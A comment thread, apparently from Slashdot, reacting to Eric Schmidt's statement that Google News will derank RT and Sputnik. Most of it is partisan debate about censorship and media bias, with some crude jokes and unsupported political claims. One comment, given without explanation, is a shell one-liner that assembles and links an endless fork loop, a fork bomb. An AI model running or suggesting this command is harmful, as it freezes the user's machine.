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Eric Schmidt Says Google News Will 'Engineer' Russian Propaganda Out of the Feed (vice.com)
Justin Ling, writing for Motherboard: Eric Schmidt, Executive Chariman of Alphabet, says the company is working to ferret out Russian propaganda from Google News after facing criticism that Kremlin-owned media sites had been given plum placement on the search giant's news and advertising platforms. "We're well aware of this one, and we're working on detecting this kind of scenario you're describing and deranking those kinds of sites," Schmidt said, after being asked why the world's largest search company continued to classify the Russian sites as news. Schmidt, in an interview at the Halifax International Security Forum over the weekend, name-checked two state-owned enterprises. "It's basically RT and Sputnik," Schmidt added. "We're well aware and we're trying to engineer the systems to prevent it."
If anyone is going to be upset about this, I would expect it to be Trump. Russia basically got him elected.
There is nothing to "engineer" - this is just censorship.
The new and improved Google News sucks. That should be Eric Schmidt's first order of business.
Any serious Russian effort in future will be run through American proxies, leaving Google only one option - filter by opinion.
The only way to really beat this domestically is education, so people aren't so easily influenced. Of course, you can back that up with counter-attacks and advise the foreign governments that so long as they're detected meddling in your affairs, you'll continue meddling in theirs.
Ultimately the best you can hope for is that the cyber version of MAD evolves and the whole thing becomes a smaller problem as both sides generally choose not to inflame the situation in fear of having to deal with reprisals.
Yay, corporate censorship! Down the memory hole! We're saved from the evil Russians.
But how will this 'engineering' be held democratically accountable? Who has effective oversight? We're further handing the basis of our democracy, i.e. access to information, over the a tiny minority of billionaires who can manipulate it and therefore us in any way they choose. Oh hang on, haven't I just described the mainstream media?
Debate is a form of harassment. Do not question my truth.
The best books are those that tell you what you already know.
I have to return some videotapes...
Russian propaganda is easily recognized because it's written in Cyrillic !
... How is Fox still in?
Why not dump all propaganda? Why just block the Russian propaganda?
Ruskys are stirring up dissent. They have been shown to have spent their money/influence pretty evenly on right and left.
They clearly expected Clinton to win. Why else would they have bought her off?
John McAfee 'It was like that time I hired that Bangkok prostitute; to do my taxes, while I fucked my accountant'
Russia doesn't block Facebook.
Isn't it about time that they also block the largest driver of propaganda? The U.S.! American news site publish so much false news that favours the U.S., that they are much worse than the Russians. Apply the rules equally to all.
"We're going to block news that HR and our Chief Diversity Officer find offensive."
Or as the Russian's would say... ! (at least that is what Google tells me the translation is)
It's machine learning algorithms being put to use here to filter and rank content.
Eventually, such automated analysis should be based on general algorithms that use principles of:
- epistemology - is there sound logical or plausible probabilistic support for the propositions in the content
- utterance theory - analysis of the sources (direct and indirect) of the information, their goals, their communication strategies, the purpose behind each utterance in terms of opinion influence or action influence.
- Detection of the level of "disinterest" that the utterer has in the content of the utterance and the opinions it will reinforce. The more disinterest (or counter-interest), the more credible is the utterance. "They said this even though it may hurt their interests" implies more likely true.
- detection of systemic bias (in the utterance and more generally by the source)
- detection of use of rhetorical tricks such as ad hominem attacks and many others.
- social psychology theories (deeper into understanding use of techniques of opinion amplification, meme formation, influence principles used by advertisers etc)
- Consistency with scientifically well-accepted facts and inferences, and with basic mathematics as applied to the content.
The key is that with sufficient abstraction of rule creation, it should be possible to make all of this independent of censoring a particular country or political faction's content. The "good stuff" or "objectively more plausible and less biased stuff" should get through.
If biased or less credible or "weaponized words" stuff is let through, it should be automatically commented on by the algorithms, which should point out the reasons for the assessment as not very reliable content.
Where are we going and why are we in a handbasket?
I'd rather Google just dumbly indexed news sites and didn't try to do editorial control. The problem with labelling sites propaganda and de-indexing them is where would it end. You can actually make a case for de-indexing most news sites
teleSUR - communist state funded propaganda paid for by Venezuela, Cuba, Ecuador, Nicaragua, Uruguay, and Bolivia
RT, Sputnik - Russian state channels, paid for by Kremlin. Knowingly pushes lies if they suit it
BBC, Guardian - Knowingly push lies if they suit London SJWs. Very biased on BREXIT.
CNN, NYT, Huffington Post - Knowingly push lies if they suit the US Democratic party. Very biased on Trump.
Fox - Knowingly pushes lies if it supports US Republican Party
Breitbart - Used to be an US Republican mouthpiece, was later described by Ben Shapiro as 'Trump's Pravda', now pushes Bannon's odd agenda of 'Trumpism without Trump'. Currently in a quixotic quest to save Roy Moore who Bannon backed but Trump failed to endorse from allegations of paedophilia which most people have concluded are probably not completely baseless. Increasingly hated by establishment Republicans for backing a flawed, unelectable outsider candidate against their man, Luther Strange who was also endorsed by Trump. Hate by all Democrats, who would probably shut it and Fox down if they could.
I.e. pretty much any news site you can find some story they've covered in a very biased way and ended up making fools of themselves. And the Tech Journalism sites are even worse than the normal news ones - everyone knows the people who write for them are bloggers who care even less about journalism than the people who write for 'proper' news sites.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
What about Youtube, a notorious cesspool of belly crawling shitposters with a distinct odor of vodka, who regularly mob the comments section of videos that are even faintly critical of Trump or favorable to Trump's opponents.
When all you have is a hammer, every problem starts to look like a thumb.
Frankly, political views can and should be expressed by anyone, and read by anyone willing to listen.
There's no way Google can engineer propaganda out. Propaganda is a subjective term.
Literally this is the government trying to censor by proxy.
This is bad as Google is a defacto monopoly. If the government does this it would be a violation of the constitution, and to proxy it to a defacto monopoly, that's not covered by the constitution, it leaves American citizens without recourse.
I don't need Google to do this, I don't wish for anyone to tell me what I should or should not be reading. They are telling everyone that they are stupid and incapable of understanding the good and bad behind any given assertion.
You can lead a man with reason but you can't make him think.
When? They've been looking and looking and looking. Year and half now. Still nothing.
Your rock called, says you need to get back under it.
The shepherds did so well protecting the flock that the sheep no longer believed that wolves existed.
Either candidate could have won, just as long as half the population doubted the veracity of the result.
Remember some years ago when Rick Santorum was running for the Republican nomination, and he got Google-bombed?
http://www.huffingtonpost.ca/e...
https://www.npr.org/2016/02/25...
The lib-left thought it was hilarious, and guffawed a lot. When Rick Santorum complained, Google essentially said "not our problem".
When it turns out that Google-fixing might have hurt Hillary Clinton's run for the presidency, things are totally different. The lib-left goes full-feminist "That's not funny". Google doesn't consider this to be "not our problem"; they're all over it like flies over shit.
I guess it depends on who's ox is being gored. Guess which party Silicon Valley supports.
I'm not repeating myself
I'm an X window user; I'm an ex-Windows user
Or anyone to the right of Bernie Sanders for that matter...
Doubt this will lead to anything other than any Google-owned services becoming left-wing echo chambers, causing everyone on these services who isn't comfortable with the echo chamber they've become to leave for competing services which then turn into right wing or center-right echo chambers (if they weren't that to begin with).
"Why should I want to make anything up? Life's bad enough as it is without wanting to invent any more of it."
This hinges on two assumption:
1)That there is such a thing as truly unbiased, neutral and objective news.
2)That only one side (the Russians) are not following in delivering point 1 while 'we' are.
Both premises are untrue.
So the dichotomy you make between 'real news' (from google), and 'fake news / propaganda' (from the Russians) just isn't there. It's already a biased fabrication of your mind, even while you're railing against biased news yourself. the hardest bias to note is the one of yourself, after all.
The truth is, people going to google for news invariably get served biased news with varying levels of propaganda and BS *from both sides*, whether its from RT or CNN.
--- "To pee or not to pee, that is the question." ---